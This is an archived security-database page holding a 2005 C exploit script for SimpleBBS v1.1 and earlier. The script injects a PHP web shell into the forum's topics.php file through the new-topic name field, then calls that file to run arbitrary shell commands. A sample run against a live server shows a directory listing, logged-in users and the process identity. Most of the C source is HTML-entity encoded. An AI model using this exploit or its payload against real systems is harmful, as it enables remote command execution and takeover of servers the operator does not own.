Lucene search

K
securityvulnsSecurityvulnsSECURITYVULNS:DOC:10562
HistoryDec 08, 2005 - 12:00 a.m.

SimpleBBS <= v1.1 remote commands execution in c by: unitedasia security crew

2005-12-0800:00:00
vulners.com
8

/*

SimpleBBS <= v1.1 remote commands execution in c

coded by: unitedasia v.Dec.7.2005

greetz: iloveyouma

http://geography.about.com/library/maps/blrasia.htm
http://www.lib.utexas.edu/maps/middle_east_and_asia/asia_pol00.jpg

$ gcc -o bbs bbs.c

Usage ./bbs [host] [/folder/] [cmd]

$ ./bbs www.somesite.com /simplebbs/ 'ls%20-al;w;id;pwd'

HTTP/1.1 200 OK
Date: Wed, 07 Dec 2005 15:31:07 GMT
Server: Apache/1.3.34 (Unix) mod_auth_passthrough/1.8 mod_log_bytes/1.2 mod_bwlimited/1.4 PHP/4.4.0 FrontPage/5.0.2.2635 mod_ssl/2.8.25 OpenSSL/0.9.6b
X-Powered-By: PHP/4.4.0
Connection: close
Content-Type: text/html

161||||||1|||Winning||||||0|||Willy\\\"><!–total 188
drwxrwxrwx 2 f1 f1 4096 Dec 6 17:02 .
drwxr-xr-x 7 f1 f1 4096 Nov 17 2002 …
-rw-r–r-- 1 f1 f1 916 Oct 20 09:30 WS_FTP.LOG
-rwxrwxrwx 1 f1 f1 28 Nov 17 2002 categories.php
-rwxrwxrwx 1 f1 f1 151 Dec 7 09:11 forums.php
-rwxrwxrwx 1 f1 f1 0 Nov 17 2002 index.php
-rwxrwxrwx 1 f1 f1 0 Nov 17 2002 online.php
-rwxrwxrwx 1 f1 f1 550 Nov 17 2002 options.php
-rwxrwxrwx 1 f1 f1 28098 Dec 7 10:31 posts.php
-rwxrwxrwx 1 f1 f1 151 Dec 7 09:11 temp.php
-rw-r–r-- 1 nobody nobody 87569 Dec 6 17:03 tmp.php
-rwxrwxrwx 1 f1 f1 38089 Dec 7 10:31 topics.php
10:31am up 195 days, 11:35, 1 user, load average: 0.27, 0.23, 0.16
USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT
root pts/1 watcher.somesite.com 11Nov05 11:52m 16:51 0.41s -bash
uid=99(nobody) gid=99(nobody) groups=99(nobody)
/home/f1/public_html/simplebbs/data

*/

#include <stdio.h>
#include <errno.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <netdb.h>
#define closesocket(s) close(s)

#define HTTP_PORT 80

#define DATA "name=Willy\\\"><!–<?php error_reporting(0);print `\\$_GET[cmd]`; die;?>&subject=Winning&message=i would like to know how each team finds the perfect aerodinamic confuguration for each circuit, i mean, how they come to the conclusion of how the wings configurated.&sendTopic=Send"

/****************** MAIN*********************/

void sendpacket(char buffer[8192], int p, char host[100]);

int main( int argc, char **argv)
{

char buffer[8192];
char dat[8192];
int count;

if&#40;argc&lt;4&#41;
{
     printf&#40;&quot;Usage &#37;s [host] [/folder/] [cmd]&#92;n&#92;nSimpleBBS &lt;= v1.1 remote commands execution in c&#92;ncoded by: unitedasia v.Dec.7.2005&#92;ngreetz: iloveyouma&#92;n&quot;,argv[0]&#41;;
     exit&#40;1&#41;;
}

sprintf&#40;dat, DATA&#41;;

sprintf&#40; buffer, &quot;POST &#37;sindex.php?v=newtopic&amp;c=0 HTTP/1.0&#92;nHost: &#37;s&#92;nContent-Type: application/x-www-form-urlencoded&#92;nContent-Length: &#37;d&#92;n&#92;n&#37;s&#92;n&#92;n&#92;n&quot;, argv[2], argv[1], strlen&#40;dat&#41;, dat&#41;;

sendpacket&#40;buffer,0,argv[1]&#41;;

sprintf&#40; buffer, &quot;GET &#37;sdata/topics.php?cmd=&#37;s HTTP/1.0&#92;nHost: &#37;s&#92;n&#92;n&quot;, argv[2], argv[3], argv[1]&#41;;

sendpacket&#40;buffer,1,argv[1]&#41;;

return count;

}

void sendpacket(char buffer[8192], int p, char host[100])
{

struct sockaddr_in server;
struct hostent *host_info;
unsigned long addr;
int sock;
char dat[8192];
int count;

/* create socket */
sock = socket&#40; PF_INET, SOCK_STREAM, 0&#41;;
if &#40;sock &lt; 0&#41; {
    perror&#40; &quot;failed to create socket&quot;&#41;;
    exit&#40;1&#41;;
}

/* Create socketadress of Server
 * it is type, IP-adress and portnumber */
memset&#40; &amp;server, 0, sizeof &#40;server&#41;&#41;;

/* convert the Servername to a IP-Adress */
host_info = gethostbyname&#40; host&#41;;
if &#40;NULL == host_info&#41; {
    fprintf&#40; stderr, &quot;unknown server: &#37;s&#92;n&quot;, host&#41;;
    exit&#40;1&#41;;
}
memcpy&#40; &#40;char *&#41;&amp;server.sin_addr, host_info-&gt;h_addr, host_info-&gt;h_length&#41;;

server.sin_family = AF_INET;
server.sin_port = htons&#40; HTTP_PORT&#41;;


/* connect to the server */
if &#40; connect&#40; sock, &#40;struct sockaddr*&#41;&amp;server, sizeof&#40; server&#41;&#41; &lt; 0&#41; {
    perror&#40; &quot;can&#39;t connect to server&quot;&#41;;
    exit&#40;1&#41;;
}

send&#40; sock, buffer, strlen&#40; buffer&#41;, 0&#41;;

/* get the answer from server and put it out to stdout */
if &#40;p==1&#41; {
  do {
      count = recv&#40; sock, buffer, sizeof&#40;buffer&#41;, 0&#41;;
      write&#40; 1, buffer, count&#41;;
  }
  while &#40;count &gt; 0&#41;;
}

/* close the connection to the server */
closesocket&#40; sock&#41;;

}